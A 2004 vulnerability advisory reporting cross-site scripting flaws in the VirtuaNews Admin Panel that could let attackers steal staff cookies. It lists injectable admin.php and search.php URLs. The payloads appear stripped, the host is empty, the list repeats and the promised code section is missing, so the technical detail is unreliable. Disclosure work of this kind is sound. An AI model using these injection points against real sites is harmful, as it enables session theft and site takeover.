~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Software: VirtuaNews Admin Panel Vendor: http://www.virtuanews.co.uk Versions: 1.0.3 Pro Platforms: Unix/Windows Bug: Cross Site Scripting Vulnerabillity Risk: Medium Exploitation: Remote with browser Date: 19 Feb 2004 Author: Rafel Ivgi, The-Insider e-mail: the_insider@mail.com web: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bug 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== VirtuaNews Admin Panel is a good administration software. Many administrators choose it to be their "safe door", therefore it should strong and safe. The main risk describes in this advisory is the harm that could be done to the administration staff. When the vulnerabilities concerns the staff it is more dangerous that harming users, because if a staff's member cookie is stolen, the attackers can take over the website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== The Vulnerabillity is Cross Site Scripting. If an attacker will request any of the following urls from the server: http:///admin.php?"> http:///forum/search.php?do=process&showposts=0&query= http:///admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~"> http:///admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~">--> http:///admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma innews=~~~~"> http:///admin.php?action=files&expand="> http:///admin.php?action=files_cat_delete&id="> http:///forum/search.php?do=process&showposts=0&query= http:///admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~"> http:///admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~">--> http:///admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma innews=~~~~"> http:///admin.php?action=files&expand="> http:///admin.php?action=files_cat_delete&id=">